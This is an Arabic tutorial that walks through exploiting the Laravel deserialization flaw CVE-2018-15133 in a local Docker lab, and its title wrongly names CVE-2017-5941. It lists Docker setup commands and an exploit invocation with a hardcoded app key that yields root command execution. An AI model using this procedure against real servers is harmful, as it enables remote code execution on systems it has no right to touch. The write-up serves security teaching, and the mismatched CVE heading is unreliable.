
تنفيذ ثغرة إلغاء التسلسل باستخدام CVE-2017-5941
استغلال ثغرة إلغاء التسلسل CVE-2018-15133 يستغل هذا الاستغلال ثغرة إلغاء تسلسل في إطار Laravel حتى الإصدار 5.5.40 والإصدارات 5.6.x حتى 5.6.29.
قد يحدث تنفيذ تعليمات برمجية عن بُعد نتيجة لاستدعاء unserialize على قيمة X-XSRF-TOKEN غير موثوقة. يتضمن ذلك طريقة decrypt في Illuminate/Encryption/Encrypter.php و PendingBroadcast في gadgetchains/Laravel/RCE/3/chain.php في phpggc. يجب أن يعرف المهاجم مفتاح التطبيق، والذي لا يحدث عادةً، ولكنه قد يحدث إذا كان المهاجم قد حصل سابقًا على وصول مميز أو نجح في هجوم سابق.
لتنفيذ هذا الاستغلال، يجب أن يكون لديك ما يلي مثبتًا على جهازك:
قم بتنزيل وتثبيت docker.
افتح docker كمسؤول.
افتح cmd واسحب آلة docker.
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
سيؤدي هذا إلى بدء آلة لارافيل.
حاول فتح الآلة في المتصفح للتأكد من أنها تعمل.
يمكنك القيام بذلك باستخدام العنوان IP والمنفذ، للتحقق من IP على ويندوز قم بتشغيل:
ipconfig
على لينكس
ifconfig
wsl --set-default-version 2
wsl --update
قم بتنزيل ملف الاستغلال على جهازك.
افتح طرفية وانتقل إلى المجلد الذي يوجد به ملف الاستغلال.
قم بتشغيل الأمر التالي لاستغلال الخادم:
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
يجب أن يعطيك هذا الرد مع معرف الجهاز الذي تريد مهاجمته. يمكنك استخدام أوامر مماثلة لطلب مجلدات وأداء مهام أخرى أيضًا.
الرد: uid=0(root) gid=0(root) groups=0(root)
في الختام، في هذه الثغرة، تمكنا من ملاحظة أهمية البقاء على اطلاع دائم بأطر العمل. نظرًا لأن هذه الأدوات يمكن أن تحتوي على عيوب أمنية وتستخدم على نطاق واسع، فإننا نكون في خطر إذا لم نبقِ أنفسنا محدّثين.